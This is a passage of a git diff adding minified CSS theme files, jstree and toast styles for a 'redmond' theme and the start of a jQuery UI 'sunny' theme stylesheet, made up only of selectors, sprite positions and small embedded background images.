.jstree-checked>.jstree-checkbox:hover{background-position:-231px -39px}.jstree-default-small .jstree-anchor>.jstree-undetermined{background-position:-199px -7px}.jstree-default-small .jstree-anchor>.jstree-undetermined:hover{background-position:-199px -39px}.jstree-default-small .jstree-checkbox-disabled{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default-small>.jstree-striped{background-size:auto 36px}.jstree-default-small.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==);background-position:100% 1px;background-repeat:repeat-y}.jstree-default-small.jstree-rtl .jstree-last{background:transparent}.jstree-default-small.jstree-rtl .jstree-open>.jstree-ocl{background-position:-135px -39px}.jstree-default-small.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-103px -39px}.jstree-default-small.jstree-rtl .jstree-leaf>.jstree-ocl{background-position:-71px -39px}.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-node,.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-39px -39px}.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-7px -39px}.jstree-default-small .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default-small>.jstree-container-ul .jstree-loading>.jstree-ocl{background:url(assets/jqueryui/redmond/images/throbber.gif) center center no-repeat}.jstree-default-small .jstree-file{background:url(assets/jqueryui/redmond/images/32px.png) -103px -71px no-repeat}.jstree-default-small .jstree-folder{background:url(assets/jqueryui/redmond/images/32px.png) -263px -7px no-repeat}.jstree-default-small>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}#jstree-dnd.jstree-default-small{line-height:18px;padding:0 4px}#jstree-dnd.jstree-default-small .jstree-ok,#jstree-dnd.jstree-default-small .jstree-er{background-image:url(assets/jqueryui/redmond/images/32px.png);background-repeat:no-repeat;background-color:transparent}#jstree-dnd.jstree-default-small i{background:transparent;width:18px;height:18px;line-height:18px}#jstree-dnd.jstree-default-small .jstree-ok{background-position:-7px -71px}#jstree-dnd.jstree-default-small .jstree-er{background-position:-39px -71px}.jstree-default-small .jstree-ellipsis{overflow:hidden}.jstree-default-small .jstree-ellipsis .jstree-anchor{width:calc(100% - 23px);text-overflow:ellipsis;overflow:hidden}.jstree-default-small.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAACAQMAAABv1h6PAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMHBgAAiABBI4gz9AAAAABJRU5ErkJggg==)}.jstree-default-small.jstree-rtl .jstree-last{background:transparent}.jstree-default-large .jstree-node{min-height:32px;line-height:32px;margin-left:32px;min-width:32px}.jstree-default-large .jstree-anchor{line-height:32px;height:32px}.jstree-default-large .jstree-icon{width:32px;height:32px;line-height:32px}.jstree-default-large .jstree-icon:empty{width:32px;height:32px;line-height:32px}.jstree-default-large.jstree-rtl .jstree-node{margin-right:32px}.jstree-default-large .jstree-wholerow{height:32px}.jstree-default-large .jstree-node,.jstree-default-large .jstree-icon{background-image:url(assets/jqueryui/redmond/images/32px.png)}.jstree-default-large .jstree-node{background-position:-288px 0;background-repeat:repeat-y}.jstree-default-large .jstree-last{background:transparent}.jstree-default-large .jstree-open>.jstree-ocl{background-position:-128px 0}.jstree-default-large .jstree-closed>.jstree-ocl{background-position:-96px 0}.jstree-default-large .jstree-leaf>.jstree-ocl{background-position:-64px 0}.jstree-default-large .jstree-themeicon{background-position:-256px 0}.jstree-default-large>.jstree-no-dots .jstree-node,.jstree-default-large>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-large>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-32px 0}.jstree-default-large>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:0 0}.jstree-default-large .jstree-disabled{background:transparent}.jstree-default-large .jstree-disabled.jstree-hovered{background:transparent}.jstree-default-large .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default-large .jstree-checkbox{background-position:-160px 0}.jstree-default-large .jstree-checkbox:hover{background-position:-160px -32px}.jstree-default-large.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default-large .jstree-checked>.jstree-checkbox{background-position:-224px 0}.jstree-default-large.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default-large .jstree-checked>.jstree-checkbox:hover{background-position:-224px -32px}.jstree-default-large .jstree-anchor>.jstree-undetermined{background-position:-192px 0}.jstree-default-large .jstree-anchor>.jstree-undetermined:hover{background-position:-192px -32px}.jstree-default-large .jstree-checkbox-disabled{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default-large>.jstree-striped{background-size:auto 64px}.jstree-default-large.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==);background-position:100% 1px;background-repeat:repeat-y}.jstree-default-large.jstree-rtl .jstree-last{background:transparent}.jstree-default-large.jstree-rtl .jstree-open>.jstree-ocl{background-position:-128px -32px}.jstree-default-large.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-96px -32px}.jstree-default-large.jstree-rtl .jstree-leaf>.jstree-ocl{background-position:-64px -32px}.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-node,.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-32px -32px}.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:0 -32px}.jstree-default-large .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default-large>.jstree-container-ul .jstree-loading>.jstree-ocl{background:url(assets/jqueryui/redmond/images/throbber.gif) center center no-repeat}.jstree-default-large .jstree-file{background:url(assets/jqueryui/redmond/images/32px.png) -96px -64px no-repeat}.jstree-default-large .jstree-folder{background:url(assets/jqueryui/redmond/images/32px.png) -256px 0 no-repeat}.jstree-default-large>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}#jstree-dnd.jstree-default-large{line-height:32px;padding:0 4px}#jstree-dnd.jstree-default-large .jstree-ok,#jstree-dnd.jstree-default-large .jstree-er{background-image:url(assets/jqueryui/redmond/images/32px.png);background-repeat:no-repeat;background-color:transparent}#jstree-dnd.jstree-default-large i{background:transparent;width:32px;height:32px;line-height:32px}#jstree-dnd.jstree-default-large .jstree-ok{background-position:0 -64px}#jstree-dnd.jstree-default-large .jstree-er{background-position:-32px -64px}.jstree-default-large .jstree-ellipsis{overflow:hidden}.jstree-default-large .jstree-ellipsis .jstree-anchor{width:calc(100% - 37px);text-overflow:ellipsis;overflow:hidden}.jstree-default-large.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAACAQMAAAAD0EyKAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjgIIGBgABCgCBvVLXcAAAAABJRU5ErkJggg==)}.jstree-default-large.jstree-rtl .jstree-last{background:transparent}@media (max-width:768px){#jstree-dnd.jstree-dnd-responsive{line-height:40px;font-weight:700;font-size:1.1em;text-shadow:1px 1px white}#jstree-dnd.jstree-dnd-responsive>i{background:transparent;width:40px;height:40px}#jstree-dnd.jstree-dnd-responsive>.jstree-ok{background-image:url(assets/jqueryui/redmond/images/40px.png);background-position:0 -200px;background-size:120px 240px}#jstree-dnd.jstree-dnd-responsive>.jstree-er{background-image:url(assets/jqueryui/redmond/images/40px.png);background-position:-40px -200px;background-size:120px 240px}#jstree-marker.jstree-dnd-responsive{border-left-width:10px;border-top-width:10px;border-bottom-width:10px;margin-top:-10px}}@media (max-width:768px){.jstree-default-responsive{}.jstree-default-responsive .jstree-icon{background-image:url(assets/jqueryui/redmond/images/40px.png)}.jstree-default-responsive .jstree-node,.jstree-default-responsive .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-responsive .jstree-node{min-height:40px;line-height:40px;margin-left:40px;min-width:40px;white-space:nowrap}.jstree-default-responsive .jstree-anchor{line-height:40px;height:40px}.jstree-default-responsive .jstree-icon,.jstree-default-responsive .jstree-icon:empty{width:40px;height:40px;line-height:40px}.jstree-default-responsive>.jstree-container-ul>.jstree-node{margin-left:0}.jstree-default-responsive.jstree-rtl .jstree-node{margin-left:0;margin-right:40px;background:transparent}.jstree-default-responsive.jstree-rtl .jstree-container-ul>.jstree-node{margin-right:0}.jstree-default-responsive .jstree-ocl,.jstree-default-responsive .jstree-themeicon,.jstree-default-responsive .jstree-checkbox{background-size:120px 240px}.jstree-default-responsive .jstree-leaf>.jstree-ocl,.jstree-default-responsive.jstree-rtl .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-responsive .jstree-open>.jstree-ocl{background-position:0 0!important}.jstree-default-responsive .jstree-closed>.jstree-ocl{background-position:0 -40px!important}.jstree-default-responsive.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-40px 0!important}.jstree-default-responsive .jstree-themeicon{background-position:-40px -40px}.jstree-default-responsive .jstree-checkbox,.jstree-default-responsive .jstree-checkbox:hover{background-position:-40px -80px}.jstree-default-responsive.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default-responsive.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default-responsive .jstree-checked>.jstree-checkbox,.jstree-default-responsive .jstree-checked>.jstree-checkbox:hover{background-position:0 -80px}.jstree-default-responsive .jstree-anchor>.jstree-undetermined,.jstree-default-responsive .jstree-anchor>.jstree-undetermined:hover{background-position:0 -120px}.jstree-default-responsive .jstree-anchor{font-weight:700;font-size:1.1em;text-shadow:1px 1px white}.jstree-default-responsive>.jstree-striped{background:transparent}.jstree-default-responsive .jstree-wholerow{border-top:1px solid rgba(255,255,255,.7);border-bottom:1px solid rgba(64,64,64,.2);background:#ebebeb;height:40px}.jstree-default-responsive .jstree-wholerow-hovered{background:#e7f4f9}.jstree-default-responsive .jstree-wholerow-clicked{background:#beebff}.jstree-default-responsive .jstree-children .jstree-last>.jstree-wholerow{box-shadow:inset 0 -6px 3px -5px #666}.jstree-default-responsive .jstree-children .jstree-open>.jstree-wholerow{box-shadow:inset 0 6px 3px -5px #666;border-top:0}.jstree-default-responsive .jstree-children .jstree-open + .jstree-open{box-shadow:none}.jstree-default-responsive .jstree-node,.jstree-default-responsive .jstree-icon,.jstree-default-responsive .jstree-node>.jstree-ocl,.jstree-default-responsive .jstree-themeicon,.jstree-default-responsive .jstree-checkbox{background-image:url(assets/jqueryui/redmond/images/40px.png);background-size:120px 240px}.jstree-default-responsive .jstree-node{background-position:-80px 0;background-repeat:repeat-y}.jstree-default-responsive .jstree-last{background:transparent}.jstree-default-responsive .jstree-leaf>.jstree-ocl{background-position:-40px -120px}.jstree-default-responsive .jstree-last>.jstree-ocl{background-position:-40px -160px}.jstree-default-responsive .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default-responsive .jstree-file{background:url(assets/jqueryui/redmond/images/40px.png) 0 -160px no-repeat;background-size:120px 240px}.jstree-default-responsive .jstree-folder{background:url(assets/jqueryui/redmond/images/40px.png) -40px -40px no-repeat;background-size:120px 240px}.jstree-default-responsive>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}}.toast-container{width:280px;z-index:9999}* html .toast-container{position:absolute}.toast-item{height:auto;background:#5c9ccc url(assets/jqueryui/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png) 50% 50% repeat-x;opacity:1;-webkit-border-radius:10px;color:#fff;padding-top:20px;padding-bottom:20px;padding-left:6px;padding-right:6px;font-family:Lucida Grande,Lucida Sans,Arial,sans-serif;font-size:14px;font-weight:700;border:2px solid #4297d7;display:block;position:relative;margin:0 0 12px 0}.toast-item p{text-align:left;margin-left:50px}.toast-item-close{background:url(assets/jqueryui/redmond/images/close.gif);width:22px;height:22px;position:absolute;top:7px;right:7px}.toast-item-image{width:32px;height:32px;position:absolute;top:50%;margin-top:-16px;left:10px}.toast-item-image-notice{background:url(assets/jqueryui/redmond/images/notice.png)}.toast-item-image-success{background:url(assets/jqueryui/redmond/images/success.png)}.toast-item-image-warning{background:url(assets/jqueryui/redmond/images/warning.png)}.toast-item-image-error{background:url(assets/jqueryui/redmond/images/error.png)}.toast-type-notice{color:#fff}.toast-type-success{color:#fff}.toast-type-warning{color:#363636;background:#fbec88;border-color:#fad42e}.toast-type-error{border-color:#cd0a0a;background:#fef1ec url(assets/jqueryui/redmond/images/ui-bg_glass_95_fef1ec_1x400.png) 50% 50% repeat-x;color:#cd0a0a}.toast-type-warning .toast-item-close{display:none}.toast-position-top-left{position:fixed;left:6%;top:15px}.toast-position-top-center{position:fixed;top:15px;left:50%;margin-left:-140px}.toast-position-top-right{position:fixed;top:15px;right:6%}.toast-position-middle-left{position:fixed;left:6%;top:50%;margin-top:-40px}.toast-position-middle-center{position:fixed;left:50%;margin-left:-140px;margin-top:-40px;top:50%}.toast-position-middle-right{position:fixed;right:6%;margin-left:-140px;margin-top:-40px;top:50%} \ No newline at end of file diff --git a/assets/jqueryui/sunny/jquery-ui.min.css b/assets/jqueryui/sunny/jquery-ui.min.css new file mode 100644 index 0000000..3fe8f32 --- /dev/null +++ b/assets/jqueryui/sunny/jquery-ui.min.css @@ -0,0 +1 @@ +.ui-helper-hidden{display:none}.ui-helper-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.ui-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none}.ui-helper-clearfix:before,.ui-helper-clearfix:after{content:"";display:table;border-collapse:collapse}.ui-helper-clearfix:after{clear:both}.ui-helper-zfix{width:100%;height:100%;top:0;left:0;position:absolute;opacity:0;filter:Alpha(Opacity=0)}.ui-front{z-index:100}.ui-state-disabled{cursor:default!important;pointer-events:none}.ui-icon{display:inline-block;vertical-align:middle;margin-top:-.25em;position:relative;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat}.ui-widget-icon-block{left:50%;margin-left:-8px;display:block}.ui-widget-overlay{position:fixed;top:0;left:0;width:100%;height:100%}.ui-accordion .ui-accordion-header{display:block;cursor:pointer;position:relative;margin:2px 0 0;padding:.5em .5em .5em .7em;font-size:100%}.ui-accordion .ui-accordion-content{padding:1em 2.2em;border-top:0;overflow:auto}.ui-autocomplete{position:absolute;top:0;left:0;cursor:default}.ui-menu{list-style:none;padding:0;margin:0;display:block;outline:0}.ui-menu .ui-menu{position:absolute}.ui-menu .ui-menu-item{margin:0;cursor:pointer;list-style-image:url(assets/jqueryui/sunny/images/list-style.gif)}.ui-menu .ui-menu-item-wrapper{position:relative;padding:3px 1em 3px .4em}.ui-menu .ui-menu-divider{margin:5px 0;height:0;font-size:0;line-height:0;border-width:1px 0 0}.ui-menu .ui-state-focus,.ui-menu .ui-state-active{margin:-1px}.ui-menu-icons{position:relative}.ui-menu-icons .ui-menu-item-wrapper{padding-left:2em}.ui-menu .ui-icon{position:absolute;top:0;bottom:0;left:.2em;margin:auto 0}.ui-menu .ui-menu-icon{left:auto;right:0}.ui-button{padding:.4em 1em;display:inline-block;position:relative;line-height:normal;margin-right:.1em;cursor:pointer;vertical-align:middle;text-align:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;overflow:visible}.ui-button,.ui-button:link,.ui-button:visited,.ui-button:hover,.ui-button:active{text-decoration:none}.ui-button-icon-only{width:2em;box-sizing:border-box;text-indent:-9999px;white-space:nowrap}input.ui-button.ui-button-icon-only{text-indent:0}.ui-button-icon-only .ui-icon{position:absolute;top:50%;left:50%;margin-top:-8px;margin-left:-8px}.ui-button.ui-icon-notext .ui-icon{padding:0;width:2.1em;height:2.1em;text-indent:-9999px;white-space:nowrap}input.ui-button.ui-icon-notext .ui-icon{width:auto;height:auto;text-indent:0;white-space:normal;padding:.4em 1em}input.ui-button::-moz-focus-inner,button.ui-button::-moz-focus-inner{border:0;padding:0}.ui-controlgroup{vertical-align:middle;display:inline-block}.ui-controlgroup>.ui-controlgroup-item{float:left;margin-left:0;margin-right:0}.ui-controlgroup>.ui-controlgroup-item:focus,.ui-controlgroup>.ui-controlgroup-item.ui-visual-focus{z-index:9999}.ui-controlgroup-vertical>.ui-controlgroup-item{display:block;float:none;width:100%;margin-top:0;margin-bottom:0;text-align:left}.ui-controlgroup-vertical .ui-controlgroup-item{box-sizing:border-box}.ui-controlgroup .ui-controlgroup-label{padding:.4em 1em}.ui-controlgroup .ui-controlgroup-label span{font-size:80%}.ui-controlgroup-horizontal .ui-controlgroup-label + .ui-controlgroup-item{border-left:none}.ui-controlgroup-vertical .ui-controlgroup-label + .ui-controlgroup-item{border-top:none}.ui-controlgroup-horizontal .ui-controlgroup-label.ui-widget-content{border-right:none}.ui-controlgroup-vertical .ui-controlgroup-label.ui-widget-content{border-bottom:none}.ui-controlgroup-vertical .ui-spinner-input{width:75%;width:calc(100% - 2.4em)}.ui-controlgroup-vertical .ui-spinner .ui-spinner-up{border-top-style:solid}.ui-checkboxradio-label .ui-icon-background{-webkit-box-shadow:inset 1px 1px 1px #ccc;-webkit-border-radius:.12em;border:none}.ui-checkboxradio-radio-label .ui-icon-background{width:16px;height:16px;-webkit-border-radius:1em;overflow:visible;border:none}.ui-checkboxradio-radio-label.ui-checkboxradio-checked .ui-icon,.ui-checkboxradio-radio-label.ui-checkboxradio-checked:hover .ui-icon{background-image:none;width:8px;height:8px;border-width:4px;border-style:solid}.ui-checkboxradio-disabled{pointer-events:none}.ui-datepicker{width:17em;padding:.2em .2em 0;display:none}.ui-datepicker .ui-datepicker-header{position:relative;padding:.2em 0}.ui-datepicker .ui-datepicker-prev,.ui-datepicker .ui-datepicker-next{position:absolute;top:2px;width:1.8em;height:1.8em}.ui-datepicker .ui-datepicker-prev-hover,.ui-datepicker .ui-datepicker-next-hover{top:1px}.ui-datepicker .ui-datepicker-prev{left:2px}.ui-datepicker .ui-datepicker-next{right:2px}.ui-datepicker .ui-datepicker-prev-hover{left:1px}.ui-datepicker .ui-datepicker-next-hover{right:1px}.ui-datepicker .ui-datepicker-prev span,.ui-datepicker .ui-datepicker-next span{display:block;position:absolute;left:50%;margin-left:-8px;top:50%;margin-top:-8px}.ui-datepicker .ui-datepicker-title{margin:0 2.3em;line-height:1.8em;text-align:center}.ui-datepicker .ui-datepicker-title select{font-size:1em;margin:1px 0}.ui-datepicker select.ui-datepicker-month,.ui-datepicker select.ui-datepicker-year{width:45%}.ui-datepicker table{width:100%;font-size:.9em;border-collapse:collapse;margin:0 0 .4em}.ui-datepicker th{padding:.7em .3em;text-align:center;font-weight:700;border:0}.ui-datepicker td{border:0;padding:1px}.ui-datepicker td span,.ui-datepicker td a{display:block;padding:.2em;text-align:right;text-decoration:none}.ui-datepicker .ui-datepicker-buttonpane{background-image:none;margin:.7em 0 0;padding:0 .2em;border-left:0;border-right:0;border-bottom:0}.ui-datepicker .ui-datepicker-buttonpane button{float:right;margin:.5em .2em .4em;cursor:pointer;padding:.2em .6em .3em;width:auto;overflow:visible}.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current{float:left}.ui-datepicker.ui-datepicker-multi{width:auto}.ui-datepicker-multi .ui-datepicker-group{float:left}.ui-datepicker-multi .ui-datepicker-group table{width:95%;margin:0 auto .4em}.ui-datepicker-multi-2 .ui-datepicker-group{width:50%}.ui-datepicker-multi-3 .ui-datepicker-group{width:33.3%}.ui-datepicker-multi-4 .ui-datepicker-group{width:25%}.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header{border-left-width:0}.ui-datepicker-multi .ui-datepicker-buttonpane{clear:left}.ui-datepicker-row-break{clear:both;width:100%;font-size:0}.ui-datepicker-rtl{direction:rtl}.ui-datepicker-rtl .ui-datepicker-prev{right:2px;left:auto}.ui-datepicker-rtl .ui-datepicker-next{left:2px;right:auto}.ui-datepicker-rtl .ui-datepicker-prev:hover{right:1px;left:auto}.ui-datepicker-rtl .ui-datepicker-next:hover{left:1px;right:auto}.ui-datepicker-rtl .ui-datepicker-buttonpane{clear:right}.ui-datepicker-rtl .ui-datepicker-buttonpane button{float:left}.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,.ui-datepicker-rtl .ui-datepicker-group{float:right}.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header{border-right-width:0;border-left-width:1px}.ui-datepicker .ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat;left:.5em;top:.3em}.ui-dialog{position:absolute;top:0;left:0;padding:.2em;outline:0}.ui-dialog .ui-dialog-titlebar{padding:.4em 1em;position:relative}.ui-dialog .ui-dialog-title{float:left;margin:.1em 0;white-space:nowrap;width:90%;overflow:hidden;text-overflow:ellipsis}.ui-dialog .ui-dialog-titlebar-close{position:absolute;right:.3em;top:50%;width:20px;margin:-10px 0 0;padding:1px;height:20px}.ui-dialog .ui-dialog-content{position:relative;border:0;padding:.5em 1em;background:none;overflow:auto}.ui-dialog .ui-dialog-buttonpane{text-align:left;border-width:1px 0 0;background-image:none;margin-top:.5em;padding:.3em 1em .5em .4em}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset{float:right}.ui-dialog .ui-dialog-buttonpane button{margin:.5em .4em .5em 0;cursor:pointer}.ui-dialog .ui-resizable-n{height:2px;top:0}.ui-dialog .ui-resizable-e{width:2px;right:0}.ui-dialog .ui-resizable-s{height:2px;bottom:0}.ui-dialog .ui-resizable-w{width:2px;left:0}.ui-dialog .ui-resizable-se,.ui-dialog .ui-resizable-sw,.ui-dialog .ui-resizable-ne,.ui-dialog .ui-resizable-nw{width:7px;height:7px}.ui-dialog .ui-resizable-se{right:0;bottom:0}.ui-dialog .ui-resizable-sw{left:0;bottom:0}.ui-dialog .ui-resizable-ne{right:0;top:0}.ui-dialog .ui-resizable-nw{left:0;top:0}.ui-draggable .ui-dialog-titlebar{cursor:move}.ui-draggable-handle{-ms-touch-action:none;touch-action:none}.ui-resizable{position:relative}.ui-resizable-handle{position:absolute;font-size:.1px;display:block;-ms-touch-action:none;touch-action:none}.ui-resizable-disabled .ui-resizable-handle,.ui-resizable-autohide .ui-resizable-handle{display:none}.ui-resizable-n{cursor:n-resize;height:7px;width:100%;top:-5px;left:0}.ui-resizable-s{cursor:s-resize;height:7px;width:100%;bottom:-5px;left:0}.ui-resizable-e{cursor:e-resize;width:7px;right:-5px;top:0;height:100%}.ui-resizable-w{cursor:w-resize;width:7px;left:-5px;top:0;height:100%}.ui-resizable-se{cursor:se-resize;width:12px;height:12px;right:1px;bottom:1px}.ui-resizable-sw{cursor:sw-resize;width:9px;height:9px;left:-5px;bottom:-5px}.ui-resizable-nw{cursor:nw-resize;width:9px;height:9px;left:-5px;top:-5px}.ui-resizable-ne{cursor:ne-resize;width:9px;height:9px;right:-5px;top:-5px}.ui-progressbar{height:2em;text-align:left;overflow:hidden;border:1px solid #d19405;background:#bcb6a9!important;-webkit-border-radius:4px;overflow:hidden}.ui-progressbar .ui-progressbar-value{margin:-1px;height:100%;border:1px solid #d19405}.ui-progressbar .ui-progressbar-overlay{background:url(assets/jqueryui/sunny/images/pb.gif);height:100%;filter:alpha(opacity=25);opacity:.25;border:1px solid #d19405;-webkit-border-radius:4px;overflow:hidden}.ui-progressbar-indeterminate .ui-progressbar-value{background-image:none;border:1px solid #d19405;-webkit-border-radius:4px;overflow:hidden}.ui-selectable{-ms-touch-action:none;touch-action:none}.ui-selectable-helper{position:absolute;z-index:100;border:1px dotted #000}.ui-selectmenu-menu{padding:0;margin:0;position:absolute;top:0;left:0;display:none}.ui-selectmenu-menu .ui-menu{overflow:auto;overflow-x:hidden;padding-bottom:1px}.ui-selectmenu-menu .ui-menu .ui-selectmenu-optgroup{font-size:1em;font-weight:700;line-height:1.5;padding:2px .4em;margin:.5em 0 0;height:auto;border:0}.ui-selectmenu-open{display:block}.ui-selectmenu-text{display:block;margin-right:20px;overflow:hidden;text-overflow:ellipsis}.ui-selectmenu-button.ui-button{text-align:left;white-space:nowrap;width:14em}.ui-selectmenu-icon.ui-icon{float:right;margin-top:0}.ui-slider{position:relative;text-align:left}.ui-slider .ui-slider-handle{position:absolute;z-index:2;width:1.2em;height:1.2em;cursor:default;-ms-touch-action:none;touch-action:none}.ui-slider .ui-slider-range{position:absolute;z-index:1;font-size:.7em;display:block;border:0;background-position:0 0}.ui-slider.ui-state-disabled .ui-slider-handle,.ui-slider.ui-state-disabled .ui-slider-range{filter:inherit}.ui-slider-horizontal{height:.8em}.ui-slider-horizontal .ui-slider-handle{top:-.3em;margin-left:-.6em}.ui-slider-horizontal .ui-slider-range{top:0;height:100%}.ui-slider-horizontal .ui-slider-range-min{left:0}.ui-slider-horizontal .ui-slider-range-max{right:0}.ui-slider-vertical{width:.8em;height:100px}.ui-slider-vertical .ui-slider-handle{left:-.3em;margin-left:0;margin-bottom:-.6em}.ui-slider-vertical .ui-slider-range{left:0;width:100%}.ui-slider-vertical .ui-slider-range-min{bottom:0}.ui-slider-vertical .ui-slider-range-max{top:0}.ui-sortable-handle{-ms-touch-action:none;touch-action:none}.ui-spinner{position:relative;display:inline-block;overflow:hidden;padding:0;vertical-align:middle}.ui-spinner-input{border:none;background:none;color:inherit;padding:.222em 0;margin:.2em 0;vertical-align:middle;margin-left:.4em;margin-right:2em}.ui-spinner-button{width:1.6em;height:50%;font-size:.5em;padding:0;margin:0;text-align:center;position:absolute;cursor:default;display:block;overflow:hidden;right:0}.ui-spinner a.ui-spinner-button{border-top-style:none;border-bottom-style:none;border-right-style:none}.ui-spinner-up{top:0}.ui-spinner-down{bottom:0}.ui-tabs{position:relative;padding:.2em}.ui-tabs .ui-tabs-nav{margin:0;#padding:.2em .2em 0 -webkit-border-bottom-left-radius:0px;-webkit-border-bottom-right-radius:0;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;padding:0}.ui-tabs .ui-tabs-nav li{list-style:none;float:left;position:relative;top:0;margin:1px .2em 0 0;border-bottom-width:0;padding:0;white-space:nowrap}.ui-tabs .ui-tabs-nav .ui-tabs-anchor{float:left;padding:.5em 1em;text-decoration:none}.ui-tabs .ui-tabs-nav li.ui-tabs-active{margin-bottom:-1px;padding-bottom:1px}.ui-tabs .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-state-disabled .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-tabs-loading .ui-tabs-anchor{cursor:default}.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor{cursor:pointer}.ui-tabs .ui-tabs-panel{display:block;border-width:0;padding:1em 1.4em;background:none}.ui-tooltip{padding:8px;position:absolute;z-index:9999;max-width:300px}body .ui-tooltip{border-width:2px}.ui-widget{font-family:Segoe UI,Arial,sans-serif;font-size:1.1em}.ui-widget .ui-widget{font-size:1em}.ui-widget input,.ui-widget select,.ui-widget textarea,.ui-widget button{font-family:Segoe UI,Arial,sans-serif;font-size:1em}.ui-widget.ui-widget-content{border:1px solid #d19405}.ui-widget-content{border:1px solid #8e846b;background:#feeebd url(assets/jqueryui/sunny/images/ui-bg_highlight-soft_100_feeebd_1x100.png) 50% top repeat-x;color:#383838}.ui-widget-content a{color:#383838}.ui-widget-header{border:1px solid #494437;background:#817865 url(assets/jqueryui/sunny/images/ui-bg_gloss-wave_45_817865_500x100.png) 50% 50% repeat-x;color:#fff;font-weight:700}.ui-widget-header a{color:#fff}.ui-state-default,.ui-widget-content .ui-state-default,.ui-widget-header .ui-state-default,.ui-button,html .ui-button.ui-state-disabled:hover,html .ui-button.ui-state-disabled:active{border:1px solid #d19405;background:#fece2f url(assets/jqueryui/sunny/images/ui-bg_gloss-wave_60_fece2f_500x100.png) 50% 50% repeat-x;font-weight:700;color:#4c3000}.ui-state-default a,.ui-state-default a:link,.ui-state-default a:visited,a.ui-button,a:link.ui-button,a:visited.ui-button,.ui-button{color:#4c3000;text-decoration:none}.ui-state-hover,.ui-widget-content .ui-state-hover,.ui-widget-header .ui-state-hover,.ui-state-focus,.ui-widget-content .ui-state-focus,.ui-widget-header .ui-state-focus,.ui-button:hover,.ui-button:focus{border:1px solid #a45b13;background:#ffdd57 url(assets/jqueryui/sunny/images/ui-bg_gloss-wave_70_ffdd57_500x100.png) 50% 50% repeat-x;font-weight:700;color:#381f00}.ui-state-hover a,.ui-state-hover a:hover,.ui-state-hover a:link,.ui-state-hover a:visited,.ui-state-focus a,.ui-state-focus a:hover,.ui-state-focus a:link,.ui-state-focus a:visited,a.ui-button:hover,a.ui-button:focus{color:#381f00;text-decoration:none}.ui-visual-focus{-webkit-box-shadow:0 0 3px 1px #5e9ed6}.ui-state-active,.ui-widget-content .ui-state-active,.ui-widget-header .ui-state-active,a.ui-button:active,.ui-button:active,.ui-button.ui-state-active:hover{border:1px solid 